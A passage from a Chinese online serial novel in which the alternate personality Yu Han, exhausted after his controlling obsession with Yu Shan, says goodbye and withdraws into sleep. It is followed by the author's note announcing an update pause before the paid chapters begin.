可能是他这种败类吸引不了善者,他所学的金融这个圈子,在里在外都腐烂不堪,彼此推杯换盏纸醉金迷间挂着虚伪至极的笑容,都逢场作戏,都虚情假意,都玩弄算计。 他在这个圈子里游刃有余,风生水起,又充满撕裂的矛盾的痛苦。 落差感和一种近乎绝望蔓延的情绪让他开始疯狂向郁杉求爱,其他任何人喜不喜欢他都没有关系,他只要能被“自己”接纳喜欢认可就可以了,他只要听到“自己”的一句爱,就可以完成自我救赎。 他求爱到失去自我,求爱到乞怜摇尾。 为什么不尝试信一信他呢,为什么不尝试原谅他一点点呢,他真的可以做到为郁杉改变成任何样子。 可是他还是什么都没有得到,他只能支配掌控精神世界,他只能强求。 于是郁杉被逼到吞药,想同归于尽拉他去死,又或许是被人教唆算计着想用自己的死来逼他。 开什么玩笑,凭什么该他消失,凭什么…… 可他两年多前还是在最后自愿选择了,做一个在精神世界里也许再也不会醒来的长梦。 但郁杉不该和齐蹊在一起,郁杉不能和齐蹊在一起,这个念头太强烈了,强烈到他满腔怒火,强烈到让他的意识从沉睡中醒来。 为什么不能?郁寒总觉得有一个很深刻的原因,但是一仔细想起来脑子里都只有一团雾,只能姑且将这种强烈的念头归咎于他无法释然的不甘心和恨意。 从出租车下来的时候,雨大得滂沱如瀑,郁寒淋着雨,从小区门口慢步走回公寓。 他浑身被雨水浸透了,像水鬼一样,衣服湿湿哒哒地向下滴着连线的水珠。 他在想,从沉睡醒来后走的这一遭,他还是像小丑一样,毫无长进的狼狈。 这就是他从小时候一直走到如今全部的路了,一条荆棘满途血迹斑斑的路。 他孤身从这样的路上趟过去,留了遍体伤痕。 就走到这里吧,他已经很累很累了。 拧开家门,看着大半个月无人居住的屋子,郁寒觉得自己身上那种幽魂味儿更重了。 郁寒扯了扯嘴角,叫醒精神世界深处那一小团昏昏沉沉的意识:“郁杉……” 郁杉半昏半醒,听到郁寒说:“淋了雨,记得去洗个热水澡再休息,我没什么力气了。” 公寓客厅放置的办公柜桌直对着阳台那面落地窗户,外面的暴雨狂风一遍遍抽打着玻璃。 郁寒在桌前凳子上坐了下,他其实还想说的话有很多—— 想跟郁杉提醒齐蹊不可尽信伪善之下的危险性,想教郁杉该如何在之前那场可能已经发酵了的舆论中将自己保全,想告诉郁杉如果发现齐蹊阴暗面又受困于他该如何自救…… 但又突然什么都不想说。 郁寒觉得自己没有必要再去操那个心,他没有身份,也不被在意。 “就这样吧。”望着窗外大雨,郁寒轻声说,“郁杉,我不管你了。” 他趴在桌前,安静睡了过去。 39. 入V通知 宝们不要等我啦,这周不更!下周二记得来!下周二会一次性更三章。 因为编编说倒V也要遵守入V三章的规则,老!天!爷!三章!真的不是饭做好了捂着不给你们端上来,裸更的我都是纯现炒的,只能这两天吭哧吭哧写,不然我4月1号真的抖不出来三章。 原谅我,滑跪道歉jpg,这章给你们发多多的红包。 然 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